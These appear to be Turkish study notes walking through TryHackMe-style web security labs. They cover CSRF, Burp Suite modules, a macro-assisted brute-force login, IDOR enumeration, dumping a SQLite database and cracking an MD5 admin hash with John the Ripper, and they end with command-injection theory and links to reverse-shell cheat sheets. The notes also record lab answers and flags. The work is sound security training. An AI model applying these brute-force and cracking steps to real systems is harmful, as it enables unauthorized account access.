- Bu saldırı türünde, kötü niyetli bir saldırgan, bir kullanıcının tarayıcısındaki güvenilir bir siteye karşı istemediği bir işlemi gerçekleştirmesine neden olur.
- Bu, kullanıcının kimliği doğrulanmış oturumu üzerinden gerçekleştirilir. Saldırgan, kullanıcının haberi olmadan onun adına istekler gönderir.
- CSRF saldırıları, aynı kaynak politikası (same-origin policy) gibi güvenlik önlemlerini kısmen aşar. Aynı kaynak politikası,
farklı sitelerin birbirine karışmasını önlemeyi amaçlar, ancak CSRF, kullanıcının kimlik doğrulama bilgilerini suistimal ederek bu engeli aşabilir.
- Bu şekilde, kullanıcının istemediği eylemler gerçekleştirilir, örneğin hesap bilgilerinin değiştirilmesi veya yetkisiz bir para transferi yapılması.
- Yanni: CSRF, bir saldırganın, kullanıcının bilgisi dışında yetkili olduğu bir web sitesi üzerinden istem dışı işlemler yapmasını sağlayan bir güvenlik açığıdır.
- CSRF saldırıları genellikle şu alanlarda bulunur:
- Web uygulamaları: Kullanıcıların oturum açtığı ve kimlik doğrulaması yaptığı tüm web siteleri (örneğin, banka, sosyal medya, alışveriş siteleri) CSRF'ye karşı savunmasız olabilir.
- Formlar ve işlemler: Parola değiştirme, para transferi gibi kritik işlemleri barındıran sayfalar.
- Çerez kullanan oturumlar: Tarayıcıda oturum açık olduğunda, saldırgan bu oturumu kötüye kullanabilir.
- CSRF’den korunma yöntemleri:
- CSRF jetonları: Her form veya isteğe özel, sunucu tarafından üretilen benzersiz bir token eklemek. Bu token, saldırganın elde edemeyeceği bir güvenlik katmanı sağlar.
- Referer ve Origin başlıkları: Sunucu, isteğin kaynağını (referer/origin) kontrol ederek farklı bir siteden mi geldiğini doğrulayabilir.
- Doğrulama gerektiren işlemler: Kritik işlemler öncesinde kullanıcının parolasını tekrar girmek veya CAPTCHA gibi doğrulama yöntemleri kullanmak.
- SameSite çerez özelliği: Çerezleri yalnızca aynı kaynaktan gelen isteklerde kullanılabilir hale getirerek CSRF saldırılarını önleyebilir.
- HTTP yöntem kısıtlamaları: Kritik işlemler sadece güvenli HTTP yöntemleriyle (örneğin, POST) yapılmalıdır.
- bizden istenen: http://10.10.120.71/admin/login/ adresinde bir kaba kuvvet saldırısı gerçekleştirmemiz
- burpsuite üzerinden önce hedefimize gidelim
- daha sonra bir giriş yapmayı deneyelim örn: admin:123123123 gibi bunu yaparken de istek yakalamak için burpsuite aracımız açık olsun
- ek olarak token bilgisi gördük:
username=admin&password=123123123&loginToken=b75d4fc774a191baedcea77b240d3636
- ve session değeri daha var:
Cookie: session=eyJTdXBwb3J0QXV0aCI6IlRydWUiLCJTdXBwb3J0SUQiOjMsInRva2VuSUQiOiI4NzcwZGMyNDVmZTkyYjNiYjU2MmJkMzRmZGE5YmZlZCJ9.Zu35cQ.fpbC4QEz70dPWGt3ypzj1LbZZsU
- bunların değiştiğini görmek için giriş işlemini tekrar ederek önceki ve sonraki değerleri karşılaştırın:
önceki:
username=admin&password=123123123&loginToken=b75d4fc774a191baedcea77b240d3636
Cookie: session=eyJTdXBwb3J0QXV0aCI6IlRydWUiLCJTdXBwb3J0SUQiOjMsInRva2VuSUQiOiI4NzcwZGMyNDVmZTkyYjNiYjU2MmJkMzRmZGE5YmZlZCJ9.Zu35cQ.fpbC4QEz70dPWGt3ypzj1LbZZsU
sonraki:
username=admin&password=123123123&loginToken=4e2f928ab519f0221024aec7bcf63930
Cookie: session=.eJyrVgouLSjILypxLC3JULJSCikqTVXSgQl6uihZGesoleRnp-aB2EqJloaGJsZpqaaJiUnmyUlAroVBikFKkoW5oblhimmKUi0AOFUZAg.Zu36cg.Ti1S95JqJ_ZLSDLXpcXZCi1wP7s
Görüldüğü üzere: session ve loginToken değerleri değişti
- bu kısımda burpsuite nin macro sunu kullanarak bu kısımlarda benzersiz değerlerin oluşturulmasını sağlayabiliriz
- yani her bir veri girişinde istekte bu iki kısımda benzersiz değerler eklenerek sunucuya gönderiliyor
- işte biz bunları manipüle etmek için burp suitenin macrosunu kullanacağız
- bunun için:
- proxy => proxy settings => project => sessions => macros
- macros kısmında add butonuna tıklayalım
- burada en son yapılan 200 code lu isteğe tıklayalım
- ok diyelim
- bir isim verelim Macro 1 yazan yere, ben CSRF diyeceğimz
- ok butonuna tıklayalım
- şimdi bu macroyu işleme almamız gerekiyor
- yani bununla ilgili bir kural belirlememiz gerekiyor
- session handling rules kısmıda add butonuna tıklayalım
- burada da Rules 1 yazan yere açıklama girelim ben yine CSRF yapacağım
- burda scope kısmında intruder hariç diğer seçili olanları kaldıralım
- çünkü inruder üzerinden işlem yapacağız
- ve burada defined in target lab yani özel kapsamı seçelim
- tekrar details kısmına gelerek add butonu ardından run macro diyelim
- çıkan ekranda belirlediğiniz macro ismine tıklayın
- daha sonra bir alt kısımda update only the following parameters and headers seçelim (değişecek olan parametreler: loginToken)
- loginToken yazıp ekleyelim
- bir sonraki alt kısımda da oturum bilgisi yani session değişecek olan
- ikinci kısmı seçerek session yazıp ekleyelim
- bu ayar her seferinde sunucunun istediği formatta benzersiz değer üretilmesini sağlayacak
- bu kısımdaki ayarlar tamamlandı
- ok diyelim
- bir sonraki kısıma da ok diyelim
- şimdi bu proxy de yakaladığımız isteği intruder a gönderelim
- session ile loginToken i macro değiştirecek biz ise username ile password kısmını değiştireceğiz
- yani bu iki alanı seçin
- bize ek olarak verilen bir bilgi de pichfork atack yöntemini kullanmamızı istiyor ki biz bu bilgiyi vermese de bunu kullanmamız gerektiğini biliyoruz
- çünkü iki farklı alan var ve iki listeye ihitiyacımız var
- listelerimizide aktardığımıza göre atağı başlatabiliriz
- not: status code 302 değilde 404 görürseniz macronuzda hata olmalı çalışmıyordur
- bu kısımda dikkat edeceğimiz alan farklı length değerleri olacak
- bir değer elde ettik: username=o.bennett&password=bella1
- hadi bunu deneyelim
- bizi: http://10.10.120.71/admin/ adresine götürdü burada bir grafik ile 'Profits for 2023' yazısı mevcut
- yani giriş başarılı
- soru:
Hangi kullanıcı adı ve şifre kombinasyonu başarılı bir oturum açma girişimini gösterir? Yanıt formatı "kullanıcı adı:şifre"dir. : o.bennett:bella1
18.Study: ' BurpSuite Diğer Modülleri
- bunlar basit işler gerçekleştiren işlemlerdir.
- burpsuite üzerinde bunları öğrenmek, yapacağımız işlemlerde kolaylık sağlayacaktır
- ' Decoder
- verilerin farklı bir formata farklı bir görünüme dönüştürülmesine Encoding, normal okunabilir hale getirilmesine ise Decoding denir
- bu işlemi yapan bir web uygulaması ise: https://gchq.github.io/CyberChef/
- burpsuite çalıştırdıktan sonra Decoder sekmesine tılayın
- mesela kendi isminizi yazın, ben doğukan yazıp bunu Encode as açılır kutuya tıklayarak Base64 e çevirdiğimde
Dogukan => Base64 => RG9ndWthbg==
- çevrilmiş görüntüsünü alacağım
- Aynı şekilde çevrilmiş gürüntüyü alıp bu sefer Decode as açılır butonunda Base64 yaparsam:
RG9ndWthbg== => Base64 => Dogukan
- olarak asıl metne ulaimış olurum
- bu olay, asıl verinin farklı formatta görüntülenme olayıdır.
- yani: Bu açıklamayla şunu diyebiliriz: Bir veri geri döndürülebiliyorsa bu şifreleme olur, eğer geri döndürülemiyorsa bu işlem hashleme olur.
- smart decode ise: özellikle html kodunun ilk anda anlaşılabilir olan kısımları otomatik olarak çözmeye çalışır
- soru: Hangi özellik girişin kodunu otomatik olarak çözmeye çalışır? : smart decode
- ' Decoder: Encoding/Decoding uygulama
- kod çözme ve kodlama
- uygulama üzerinden gidelim:
- soru : Bu metnin Let's Start Simple base64 kodlu versiyonu nedir? : TGV0J3MgU3RhcnQgU2ltcGxl
- soru : Döndürülen düz metin nedir? %4e%65%78%74%3a%20%44%65%63%6f%64%69%6e%67 : Next: Decoding (not: smart decode)
- soru : Kodu çözülmüş metin nedir? %34%37 : %34%37 : 47
- burda bize verilen görüntüde html => URL => asıl metin olarak ulaşıyoruz
- bu verilen görüntüyü alıp smart decode e bastığınızda göreceksiniz
- Challenge sorusu:
ifade: Encoding Challenge
Base64 kodlamasıyla başlayın. Bunun çıktısını alın ve ASCII Hex'e dönüştürün. Son olarak, onaltılık dizeyi sekizli olarak kodlayın.
Son dize nedir?
Encoding Challenge Asıl metin
RW5jb2RpbmcgQ2hhbGxlbmdl BASE64
5257356a62325270626d6367513268686247786c626d646c ASCII HEX
24034214a720270024142d541357471232250253552c1162d1206c OCTAL
- ' Decoder: Hashing
- bu kısımda Hash şifreleme kullanacağız. Bize verdiği dosyayı indirelim
- mkdir tryhackmeKeys&&cd tryhackmeKeys&&unzip ../keys-1627343109071.zip&&ls -lh
- veya cd Downloads/tryhackmeKeys/&&mkdir alernativeKeys&&cd alernativeKeys&&wget http://10.10.39.92:9999/AlteredKeys.zip
- bulundğunuz dizinde bir tryhackmeKeys dizini oluştu ve içine de zipli dosya içeriği çıkarıldı
- hashing:
- tek yönlü bir işlem
- bir değerin benzersiz bir başka değere dönüştürülme işlemidir.
- işlem sonrası elde edilen benzersiz değerin geri döndürülememesi hedeflenmiştir
- mesele bir dosyanınz heşdeğeri onun imzasıdır
- eğer mevcut dosyada bir değişiklik olursa bu imza yani hash değeri de değişecektir
- örn bir dsoya oluşturalım: touch deneme.txt
- daha sonra shasum deneme.txt diyelim :
shasum deneme.txt
da39a3ee5e6b4b0d3255bfef95601890afd80709 deneme.txt
- şimdi bu deneme dosyasına birşeyler ekleyelim: echo "merhaba benim adım doğukan">>deneme.txt
- cat ile okuyalım: cat deneme.txt
- şimdi tekrar bakalım shasum ile hash değerine
shasum deneme.txt
f2053d0e79b748349a4999b623350ffe6d990cc7 deneme.txt
- görüldüğü üzere hash değerimiz değişti
- şimdi sorular üzerinden gidelim:
- soru: Kod Çözücüyü kullanarak ifadenin SHA-256 karma toplamı nedir?: Let's get Hashing!
Bu sorunun cevabı için bunu bir ASCII Hex dizisine dönüştürün.
burp suite üzerinde yapalım : önce sha-256 daha sonra çıkan değeri de encoded ile asciihex e dönüştürün
6b72350e719a8ef5af560830164b13596cb582757437e21d1879502072238abe
- soru: İfadenin MD4 karma toplamını oluşturun: Insecure Algorithms
Göndermeden önce bunu base64 (ASCII Hex değil) olarak kodlayın.
önce cerilen değri md4 hash alalım sonrda encoded ile base64 e çevirelim
TcV4QGZZN7y7lwYFRMMoeA==
- soru: daha önce indidiğimiz zip li dosyamızın içerisindeki doslarda dağıtılmış bir şekilde bir ssh bağlantı hash i var bizden doğru olanını bulmamızı istiyor
bunu için de dosya içerisindekileri teker teker burpsuite de encoded aracı kullanılarak bunu yapacağız
önce hash değeri gireceğiz ki bu MD5
daha sonrada decoded olarak ASCII hex seçeceğiz
doğru olan hash: 3166226048d6ad776370dc105d40d9f8
bunu bulmamız gerekiyor (not: txt içeriğinin tamamını kopyalayın)
başlayalım:
key1 için: b523e7a5b4e82a254f2669e46a7c012a NO
key2 için: 915fb4c73cc1acc350fae502f6655500 NO
key3 için: 3166226048d6ad776370dc105d40d9f8 YES
key4 için: c0a448edc9f1bc4b10c0ffc6eb79a005 NO
aradığımız hash değeri key3 dosyasında
bu işlemi aynı şekilde kalide olan md5sum <dosya.adi>
ile de yapabilirdik deneyin
md5sum key3
3166226048d6ad776370dc105d40d9f8 key3
bulunduğumuz dizin keys olsun
ve şu komutu yazın: md5sum *
bu aktif dizibdeki tüm dosyaların md5 hash ini verir
- ' Comparer: Overview
- bu araç iki değeri karşılaştırakrak nerede eksik var nerede fazla var neye düzenleme yapımış bunu tespitini sağlar
- şöyle yapalım örnek bir metin olarak:
The compared data occupies most of the window; it can be viewed in either text or hex format.
The initial format depends on whether we chose to compare by words or bytes in the previous window, but this can be overridden by using the buttons above the comparison boxes.
The comparison key is at the bottom left, showing which colors represent modified, deleted, and added data between the two datasets.
The Sync views checkbox is at the bottom right of the window. When selected, it ensures that both sets of data will sync formats. In other words, if you change one of them into Hex view, the other will adjust to match.
- bu metni ele alalım
- paste diğerek bu metni yapıştıralım
- ve şimdi de bu metni değiştirelim
The compared data occupies most of the window; DOGUKAN it can be viewed in either text or hEx.
The initial format depends on whether we chose to compare by words or bytes in the previous Windows, but this can be overridden by using the buttons above the comparison boxes.
The comparison key is at the bottom left, showing which colors CYBER SECURITY represent modified, deleted, and added data between the two datasets.
The Sync views checkbox is at the bottom right of the window. When selected, it that b0th sets of data will sync formats. In other words, if you change one of them into Hex view.
- değiştirelim ve bu metni de paste diğerek yapıştıralım
- daha sonra Words butonuna tıklayalım ve değiştirilenleri, silinenleri ve eklenen leri renklendirerek bizer gösterecektir.
- yani il kısıma orijinal ve daha sonra değiştirilmiş bir değer koyduğumuzda aradaki farkları bizer gösterecektim:
modified: hex format. | window | ensures | that both | bundan => buna => Windows | hEx | that | b0th
deleted: , the other will adjust to match
added: DOGUKAN | CYBER SECURITY
- sizde deneyin
- sync views aktif ederseniz bir metin kutusu hex görünüm olursa diğeride buna uyarak otomatik hex görünüm olur
- bytes butonu da hex görümünü gösterir
- ' Comparer Alıştırma
- ortamda çalışmamız için attack machine i çalıştıralım daha sonra bize bir link verilecek
- burada işlemlerimizi yapacağız
- http://10.10.192.208/support/login
- buraya gidelim
- burpsuite üzerinden
- önce inceleme yapalım
- bir login paneli
- bize bir hesap bilgisi veriliyor
Username: support_admin
Password: w58ySK4W
- önce kullanıcı adı ile password ü test olarak girelim ve isteği yakalayalım
- daha sonra repeter a gönderelim ve send diyeli yanıt bölümüne gelerek sağ tuş ile comparer i bulup oraya gönderelim
- daha sonra giriş bilgilerini : username=support_admin&password=w58ySK4W
- değiştirelim tekrar send diyelim ve yanıtı yine comparer e gönderelim
- ve karşılaştirma yapalım
- görüldüğü üzere bazı değerler medifiye edilmişken bazı değerler ise silinmiş
- ' Sequencer: Overview: Sıralayıcı
- bu kısımda Sequencer aracından, ne olduğundan ve analizinden bahsedeceğiz
- kullanıcıdan gönderilmeyen parametrelerin yani benzersiz olarak gönderilmesi planlanan değerlerin ne derece farklı olduğunun tespitinin farketmemizi sağlar (istatiski veri olarak)
- örnek olarak alıştırma yapacağımız yer: http://10.10.192.208/admin/login/
- burpsuite üzerinden ilerliyoruz yine
- bir admin login paneli göreceksiniz burada username ve password bilgisi isteniyor
- bunlar kullanıcının girdiği değerler
- bu bilgiler haricinde farklı bir parmetre gönderiliyor mu
- göderiliyorsa bu parametre her seferinde değişiyor mu
- değişiyorsa ne sıklıkla değişiyor bunun kontrolünü sağlamak için kullanılan bir araç
- şimdi bir bilgi girmeden sayfayı yenileyerek isteği yakalaylım
- burada bir session=eyJ0b2tlbklEIjoiY2JmZDU5OTNmNGZmYThmOWNmYTYxNjY1ZTBjMzA1MzEifQ.ZvIaNQ.FwuHoXJ9ECicfZqI-HMOZNTu8oU
- değeri olduğunu ve web sunucusuna otomatik olarak oluşturulp gönderildiğini görüyoruz
- şimdi sağ tıklayarak send to sequencer a gönderelim
- sequencer bölümüne geçelim
- bu kısımda cookie değerinin otomatik eklendiğini ve login token değeride form field kısmında açılır box ta görebiliyoruz
- bu değerler web sunucusuna gönderilir ve her seferinde değişen değerler
- bizim buradaki amacımız bu veri ne sıklıkla değişiyor bununla ilgili istatistik veri elde etmek
- yani sürekli mi yoksa daha düşük oranda mı şeklinde
- önce cooki yi seçelim ve start live capture diyelim
- request kısmında gördüğünüz gibi çok fazla istek gönderdi ve hala devam ediyor
- 7000 de pause diyelim (yarıda keser te analiz işlemi yapabiliriz)
- ardından analayz butonuna basalım
- bu bize gönderilen tüm istekleri analiz ederek bir sonuç döndürür
- bu sonuçta dikkat etmemiz gerek şey:
- Overall result
- benzersizlik seviyesi için de : excellent yani en üst seviyede olduğunu veriyor
- alt kısımdaki Reliability değerleri
- burada gönderilern istekler için analize uygun olup olmadığını belirtir
- bizde ise : good yani istek sayısı yeterli
- şimdi kapatıp tekrar çalıştıralım ama bu sefer istek sayısı oldukça az olsun ve önemli olan kısımları tekrar inceleyelim
- benzersizlik açısında hala çok iyi deniyor yani büyük oranda rasgele değerler veriliyor
- ama istatistik incele açısından istek sayısı için vert poor yani çok yatersiz olduğu belirtiliyor
- şimdi de from field için aynısını yapalım
- 5 - 6 bin de bunu durdurup analiz yapalım
- aynı şekilde değer oldukça iyi bir de aradaki farkı anlamak için 100 istek sonra analiz edelim
- bu kısımda da excellent yani anladığımız bu kısımda da büyük oranda rasgele değerler veriliyor
- soru: Sıralayıcı neyi değerlendirmemize olanak sağlar? : Entropy
- soru: Tahmin edilen genel rastgelelik kalitesi nedir? : Excellent
19.Study: ' Burp Suite: Extensions
- bu özellik burp suite ye yeni modüller eklemek üzere kullanılabilir
- ayrıca BApp mağzasındaki ek modüllerede ulaşılabilir
- ' Dış kaynaktan modül ekleme
- doğrudan bu likten burpsuite eklentilerine ulaşılabilir: https://github.com/topics/burp-extensions
- bunlardan birtanesi de Admin-Panel Finder: https://github.com/moeinfatehi/Admin-Panel_Finder
- bu admin panel bulma işlemi yapan burpsuite eklentisi
- bu eklentiler .jar uzantılı olur
- buraya gidelim
- sağ tarafta releases kısmında görünecektir
- bu kısıma tıklayalım
- Admin-Panel_Finder.jar isimli dosyayı indirelim
- indirdikten sonra burpsuite de extensions bölümüne gelelim
- add butonuna basalım
- extension details kısmında extension file (.jar) kısımında indirdiğimiz dosyamızı seçelim
- next => close diyerek işlemi tamamlayalım
- üst kısımda aracın geldiğini göreceksiniz
- extensions kımındaki tik bu aracın görünürlüğü ile ilgili eğer tiki kaldırırsanız görünürlüğü gider
- şimdi AdminPanelFinder kısmına gelelim
- bu aracın kullanımı ile alakalı bilgi geliştiricinin sayfasında mevcut
- şimdi bu aracın kullanımı ile ilgili:
- öncelikle bir istek yakalayacağız
- proxy sekmesine gelelim
- openbrowser
- testphp.vulnweb.com isteğini yakalayalım
- ardından sağ tıklayarak extension kısmında AdminPanelFinder bulup oraya gönderelim
- buraya gönderdikten sonra bu kısımda bulunan option kısmında bunu göreceğiz
- burada level kısmında denenecek olan payloads sayısı var
- level 1 de 63, level 5 de 1009 payloads denemesi yapıyor
- burada deneme yapılacak listeyi ayrıca da belirtebiliyoruz zip dosyası olarak
- default dictionary varsayılan olanlar, kendimiz belirtmek için bunu load yapmalıyız
- bu kısımda extension satırında hedef uzantısını belirtiyoruz bizim hedefimiz php uzantılı
- şimdi finder bölümünden start diyerek işlemi başlatıyoruz
- görüldüğü üzerr login ve admin panellerini buldu
- diğer harici eklentileri de bu yolla ekleyip kullanabilirsiniz
- ' BAPP Storeden Eklenti Ekleme ve Kullanma
- şimdi modül kurup kullamnın diğer bir yolu ise kendi mağazası olan BApp den bulup install edebiliriz
- Extension => BApp bölümüne gidelim
- sol tarafta modülleri ve hemen yanında bu modül ile ilgili bilgileri ve onun üstünde de arama çubuğunu görebilirsiniz
- arama çubuğununa BackUpFinder yazalım
- bu, web sitelerindeki backup dosyalarını arama işlemini yapan bir araç
- bunu seçelim ve sağ tarafta aşağıdaki install butonuna basalım
- yukarıda sağ tarafa doğru baktığınızda bu eklentinin geldiğini göreceksiniz
- daha önce kullanıdığımız AdminPanelFinder ile benze bir yapıya sahip
- kullanımı içinde yine bir istek yakalayacağız ve ardından BackUpFinder a göndereceğiz
- proxy gelerek openbrowser ı açalım ve : http://testphp.vulnweb.com burada ki isteği yakalayalım
- sağ tıklayıp extension dan backupfinder bulup ona yollayalım
- şimdi backupfinder a gelelim ve oradan da options a tıklayalım
- burada da level kısmında yine benzer listemiz ama bu sefer payloads göstermiyor
- şindi finder a gelerek start butonuna basarak başlatalım
- görüldüğü üzere web sunucusunda bırakılan yedek doslar:
1 testphp.vulnweb.com 80 /index.zip HEAD 200 0
2 testphp.vulnweb.com 80 /.idea/ HEAD 200 0
3 testphp.vulnweb.com 80 /index.bak HEAD 200 0
- backupfinder:
- web uygulaması güvenlik testlerinde sunucu üzerinde bırakılmış yedek dosyların bulunmasını sağlayan bir araç
- ' Python ile Yazılmış Eklenti Kullanımı için Jython
- modüllerin hepsi java ile yazılmamış, bazıları python ile yazılmış modüller
- ve bu pythonla yazılmış modüller için de ayrı bir dosya ekleme işlemi yapılması gerkiyor
- mesela gelelim extension da BApp da WordPressScanner eklemek istediğimizde jython a ihtiyaç duyuyor
- bu kısımda Download butonuna bastığımızda bizi kaynak adrese götürecek
- burada Jython Standalone bastığımızda jar uzantılı dosyayı indirir
- eğer bulamadıysanız aşağıdaki linkten de indirebilirsiniz
- https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.4/jython-standalone-2.7.4.jar
- bu dosya sabit olacağından önce sudo su komutunu terminalde girerek roota geçelim
- daha sonra mkdir /opt/burpsuite yazalım
- ve sonra mv Downloads/jython-standalone-2.7.4.jar /opt/burpsuite
- indirdiğimiz jar uzantılı dosyamız yeri: /opt/burpsuite dizini altında
- şimdi burpsuite gelip extension => extension options kısmından python enviroment de bu dosyamızın yolunu gösterelim
- artık BApp de wordpressscanner ı install edebiliriz
- ' Eklentiler için API
- javada kendinizi geliştirip burpsuite de eklenti yazmaya karar verdiğinizde
- işinize yarayacak ipuçlarını ve bilgileri bu kısımda bulabilirsiniz
20.Syudy: ' OWASP TOP 10 - 2021
- inceleme için: https://bugs.xdavidhu.me/google/2021/01/11/stealing-your-private-videos-one-frame-at-a-time/
- ' Broken Access Control : Bozuk Erişim Kontrolü
- web sitelerinin ziyaretçilerden korunan yani görmemesi veya görmesi gerekmeyen sayfaları vardır
- örn: diğer kullanıcıları yönetmek için bir sayfaya sadece sitenin yönetici kullanıcısı erişebilir
- eğer bir ziyaretçi bu sayfaları görebiliyorsa burada BrokenAccessControl vardır.
- korumalı sayfalara erişim aşağıdaki sonuçlara neden olabilir:
- diğer kullanıcıların hassas verilerini görüntüleme
- yetkisiz olarak işlevlere erişim
- ' Bozuk Erişim Kontrolü (IDOR Mücadelesi)
- daha önceki derslerden de biliyoruz IDOR güvenliık açığını
- makinemizi başlatalım ve ip üzerinden siteye giderek ilgili bayrağımızı bulalım
- username: noot | password: test1234
- bu bilgiler ile oturup açalım
- bunu istersek burp suite üzerinden de yapabiliriz
- giriş yaptığımızda url de şu gözüküyor: http://10.10.160.244/note.php?note_id=1
- biz burada note_id=1 bu kısımı değiştirerek yapabiliriz
- deneyelim
- giriş yapalım ve isteği yakalayalım
- bu kısımda yakalanan isteği intruder a gönderelim
- bşalık kısmında GET /note.php?note_id=0 HTTP/1.1 sıfır ı add ile ekleyip sniper seçili olacak şekilde
- intruder ın payloads kısımda payload tipini number yapalım
- belli aralık arama yapalım
- mesela 0 - 10 arası deneme yapsın
- ve response sutununda 200 lü değerlere bakalım
- önce atağı başlatın bitmesini bekleyin
- daha sonra 200 lü değere tıklayın ve response yanıtına bakın
- bayrağımızı bulacaksınız: flag{fivefourthree}
- ' Cryptographic Failures: Şifreleme Hataları:
- güvenlik açığı yaratan kriptografik algoritmaların yanlış kullanımı veya kullanılmaması ile alakalı bir zafiyettir
- örnek:
- güvenli bir e-posta uygulamasında:
- e-posta hesabına erişirken tarayıcı ile sunucu arasındaki iletişim şifrelenmeli (aktarım halindeki verilerin şifrelenmesi)
- e-postaların sağlayıcının sunucusunda şifreli olarak saklanması da önemlidir (beklemede ki verilerin şifrelenmesi)
- şifreleme hataları, hassas verilerin ifşa edilmesine yol açar; bu veriler genellikle kullanıcılar ile doğrudan bağlantılıdır
- Daha karmaşık saldırılar MITM (ortadaki adam saldırısı) gibi teknikler içerir
- saldırgan zayıf şifrelemelerden yararlanarak verilere erişim sağlayabilir
- Ayrıca bazı hassas veriler doğrudan web sunucusunda bulunabilir.
- ' Cryptographic Failures (Supporting Material 1)
- genellikle bir veri yığınına erişmenin en basit yolu bir veri tabanı kullanmaktır.
- varsayalım ki bu kısımda varsayalım ki bir veri tabanına erişim sağlamayı ve indirmeyi başardık
- database dosyamız example.db
- file example.db ile bir kaç bilgi edinebiliriz
- bu veritabanına erişim için kullanılan yapı: sqlite3 <database-name>
- sqlite3 example.db
- daha sonra .table ile veriitabanı tablolarını görüntüleyebiliriz
- bu noktada tüm tablo verisini görebiliriz ama tablo bilgisine bakmadığımız sürece neyin ne olduğunu anlayamayız. Bu yüzden: PRAGMA table_info(customers);
- bu komutu, SQLite veritabanında "customers" adlı tablonun yapısını sorgular. Bu komut, tablodaki sütunların adlarını, türlerini ve diğer özelliklerini gösterir. Böylece, tablonun yapısını anlamak için yararlıdır.
sqlite> PRAGMA table_info(customers);
0|cudtID|INT|1||1
1|custName|TEXT|1||0
2|creditCard|TEXT|0||0
3|password|TEXT|1||0
bu komut sonrası yapı buna benzer birşekilde görünür
- daha sonra customers tablosundaki tüm kolon bilgisini çekmek için: select * from customers
sqlite> SELECT * FROM customers;
0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99
1|John Walters|4671 5376 3366 8125|fef08f333cc53594c8097eba1f35726a
2|Lena Abdul|4353 4722 6349 6685|b55ab2470f160c331a99b8d8a1946b19
3|Andrew Miller|4059 8824 0198 5596|bc7b657bd56e4386e3397ca86e378f70
4|Keith Wayman|4972 1604 3381 8885|12e7a36c0710571b3d827992f4cfe679
5|Annett Scholz|5400 1617 6508 1166|e2795fc96af3f4d6288906a90a52a47f
- ve bu komut sonrası da buna benzer bir yapı ile kaşılaşabiliriz
- gördüğünüz gibi password kısmı hashlenmiş
- bir sonrakinde bu hash kırmayı öğrenenceğiz
- ' Cryptographic Failures (Supporting Material 2)
- bu kısımda bir önce password hashlerini kırma eylemi için web uygulamalarını kullanabiliriz
- bunun için örnek olarak: önce hash türünü belirleyelim: komut satırına : hash-identifier <hash_değerni_girin_ve_enter_yapın>
- en yukarda olası MD5 hash algoritması kullanıldığını görüyoruz
- şimd de web uygulamasına bakalım
- https://crackstation.net/
- Joy Paolson ın password hashi: 5f4dcc3b5aa765d61d8327deb882cf99 md5 password
- ' Cryptographic Failures (Challenge)
- şimdi de uygulama üzerinden gidelim
- makinenizi çalıştırın ve bu adımdaki uzantya gidin
- bu adımda direkt sorular üzerinden gideceğiz
- öncelikle bize verilen ip üzerinden gidelim
- Artık öğrendiklerinizi uygulamaya koymanın zamanı geldi! Bu görev için http://10.10.30.111:81/ adresinden web uygulamasına bağlanın.
- soru: Web uygulamasına bir göz atın. Geliştirici, belirli bir dizinde hassas verilerin bulunduğunu belirten bir not bıraktı.
Bahsedilen dizinin adı nedir? :
burada ctrl + u ile kaynak koda bakalı
burada bir /assets dizini var sanırımı bu dizin adından bahasediliyor
/assets
- soru: Birinci soruda bulduğunuz dizine gidin. Hangi dosyanın hassas veriler içerme olasılığı yüksek olarak öne çıkıyor?
tabikide: webapp.db
- soru: Hassas verilere erişmek için destekleyici materyali kullanın. Yönetici kullanıcının şifre karması nedir?
bunun için webapp.db indirelim
ve daha önceki adımları kullanalım
önce sqlite3 yazalım ve ardından indirdiğimiz database adını girelim konsola (Downloads dizinindedir. yolunu belirtin)
sqlite3 webapp.db
.table
sessions users => bunlar var olan tablolar
şimdi bunlara bir göz atalım
pragma table_info(sessions);
0|sessionID|TEXT|1||1
1|userID|TEXT|1||0
2|expiry|INT|1||0
pragma table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0
şimdi bizden istenen "Yönetici kullanıcının şifre karması" yani hashi nin istiyor:
bunun için select username, password, admin from users komutu yeterli olcaktır
admin|6eea9b7ef19179a06954edd0f6c05ceb|1
Bob|ad0234829205b9033196ba818f7a872b|1
Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
cevap: 6eea9b7ef19179a06954edd0f6c05ceb
- soru: Hash i kır. Yöneticinin düz metin şifresi nedir?
şöyle bir yöntem deneyelim:
öncelikle bir wordlist edinmeniz gerek. veya crunch gibi araçlar ile kendi wordlistenizde oluşturabilirsiniz. ben yaygın olark kullanılan rockyou.txt indirdi bunu kullanacazğım
öncelikle hash-identifier <hash> ile tipini bulalım burada Possible Hashs: altında ilk satırı baz alalım
daha sonra bir touch hash.txt adında bir dosya oluşturalım ve hash değerini buraya yazalım
bunu da yaptıktan sonra johntheripper aracı ile kırma işlemi yapalım format:
jhon -fromat=raw-MD5 hash.txt /usr/share/wordlist/rockyou.txt
daha soran root dizinin de bir .jhon dizini oluşur
bu dizine geçincd .jhon
ls -l diyin
.pot uzantılı dosyayı cat ile okuyun ve deşifre edilmiş şifre karşınızda: $dynamic_0$6eea9b7ef19179a06954edd0f6c05ceb:qwertyuiop
=> qwertyuiop
- soru: Yönetici olarak oturum açın. Bayrak nedir? : admin : qwertyuiop => THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}
- ' Injection :
- yagın olarak SQL Injection ve Command Injection hatalrı ile karşılaşırız.
- daha önce sql injection zafiyetini detaylı olarak gördük.
- bu kısımda komut enjeksiyonunu göreceğiz
- doğru yapılandırılmamıi bir web sitesi üzerinden komut çalıştırılmasına denir
- saldırgan, bu güvenlik açığını istismar ederek bir ters bağlantı elde etmeye çalışacaktır
- çünkü orda tek bir komut işletme durumu vardır
- saldırganın amcı bu işi daha ileri götürmek olduğundan ters bağlantı alarak doğrudan sistemin komut satırına erişim sağlayıp birden fazla komut girmeyi denemek isteyecektir
- daha doğrusu sistemi tamamen elegeçirmek isteyecektir
- ters bağlantı aşamasında hedef sistemde kurulu olan araçlar ve elde etmiş olduğu kullanıcının kullanabileceği araçlara farklı senaryolar denemek gerekebilir
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/
- https://www.root-me.org/Swissky?inc=info&lang=fr
- şuanlık u siteyi araştımanızı istiyorum
- bir sonraki kısım iki bölüm halinde önce bu linki daha sonrada sorular üzerinden gideceğiz
- ' Command Injection
- hedef sistemde kurulu olan ve kullanıcının da erişimi olması gerek
